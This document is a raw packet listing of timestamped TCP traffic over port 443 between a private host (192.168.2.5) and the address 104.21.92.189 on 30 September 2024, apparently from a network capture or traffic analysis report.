Sep 30, 2024 18:58:36.659548998 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.659555912 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.659595966 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.659600019 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.659904957 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.659991026 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.660032988 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.660039902 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.660192966 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.680740118 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.680846930 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.680915117 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.680932045 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.680974960 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.681027889 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.681036949 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.681128025 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.681508064 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.681590080 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.681649923 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.681725979 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.682565928 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.682640076 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.683438063 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.683556080 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.683607101 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.683718920 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.684473038 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.684535027 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.690592051 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.690694094 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.690747023 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.690835953 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.691278934 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.691334009 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.691339016 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.691356897 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.691401958 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.691401958 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.692209005 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.692358017 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.711827993 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.711966038 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.711992979 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.712099075 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.712136030 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.712143898 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.712152958 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.712178946 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.712230921 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.712243080 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.712313890 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.712945938 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.712955952 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.713015079 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.713016033 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.713116884 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.713129044 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.713306904 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.713371992 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.713385105 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.713500977 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.713924885 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.713984013 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.714003086 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.714730024 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.714824915 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.714834929 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.715784073 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.715818882 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.715842962 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.715856075 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.715878963 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.716773987 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.716839075 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.716851950 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.716933966 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.733653069 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.733748913 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.733779907 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.733875990 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.733891964 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.733958006 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.734055996 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.734127045 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.734241962 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.734312057 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.734951973 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.734983921 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.735038996 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.735038996 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.735048056 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.735095024 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.735142946 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.735157967 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.735162973 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.735188007 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.735193968 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.735198975 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.735203028 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.735219002 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.735258102 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.735321999 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.735363960 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.735372066 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.735377073 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.735434055 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.736435890 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.737251997 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.737315893 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.737725973 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.737770081 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.737782001 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.737826109 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.749514103 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.749886036 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.749931097 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.750024080 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.750121117 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.750186920 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.750628948 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.750679016 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.750695944 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.750708103 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.750730991 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.750751019 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.769206047 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.769279003 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.769304991 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.769320965 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.769364119 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.775763035 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.775881052 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.776072025 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.776252985 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.776304960 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.776304960 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.776323080 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.776418924 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.776449919 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.776487112 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.776494980 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.776513100 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.776597977 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.776626110 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.776643991 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.776650906 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.776675940 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.776700020 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.777640104 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.777673960 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.777719975 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.777719975 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.777740002 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.777817965 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.777827024 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.777920008 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.778628111 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.778791904 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.778840065 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.778840065 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.778855085 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.779634953 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.779807091 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.779814959 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.779824972 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.779891014 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.780188084 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.780266047 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.780277014 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.780316114 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.780354977 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.780354977 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.780363083 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.781740904 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.781795979 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.781804085 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.781944990 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.781977892 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.781989098 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.781989098 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.781996012 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.782017946 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.782083988 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.782116890 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.782124043 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.782165051 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.782927990 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.783018112 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.783025980 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.783071995 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.801316977 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.801407099 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.801460981 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.801515102 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.801531076 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.801542997 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.801681995 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.802742004 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.802805901 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.802839041 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.802846909 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.802875996 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.802968979 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.803230047 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.803294897 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.803934097 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.804027081 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.804039955 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.804085016 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.804718018 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.804773092 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.804877043 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.805044889 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.805067062 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.805123091 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.805742979 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.805805922 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.805847883 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.805949926 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.806689978 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.806746960 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.806759119 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.806828022 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.806906939 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.806987047 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.807677984 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.807733059 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.807765961 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.807771921 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.807796955 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.808545113 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.808603048 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.808610916 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.808661938 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.820379019 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.820437908 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.820483923 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.820540905 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.820559025 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.820570946 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.820574999 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.820619106 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.820619106 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.821397066 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.821512938 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.821547031 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.821598053 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.821878910 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.821948051 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.821971893 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.822021008 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.822431087 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.822525024 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.822623968 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.822666883 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.822721004 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.822721004 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.822730064 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.823359013 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.823415995 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.823421955 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.823445082 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.823496103 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.823499918 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.823510885 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.823589087 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.823595047 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.824345112 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.824425936 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.824438095 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.824659109 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.825687885 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.825779915 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.825786114 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.825803041 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.825828075 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.825874090 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.825941086 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.825990915 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.825998068 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.826011896 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.826044083 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.826051950 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.826119900 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.826128006 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.826184988 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.826756001 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.826806068 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.826821089 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.826869965 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.826879978 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.826925039 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.827567101 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.827646017 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.836262941 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.836340904 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.836519957 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.836553097 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.836575985 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.836582899 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.836626053 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.836771965 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.836842060 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.836848021 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.836930990 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.837007999 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.837085009 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.837090969 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.837101936 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.837178946 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.837431908 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.837529898 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.837563038 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.837572098 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.837608099 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.837608099 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.855704069 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.855792046 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.855796099 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.855812073 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.855844975 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.855844975 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.855854034 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.855895042 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.862459898 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.862492085 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.862529993 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.862549067 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.862565994 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.862584114 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.862584114 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.862615108 CEST	49757	443	192.168.2.5	104.21.92.189
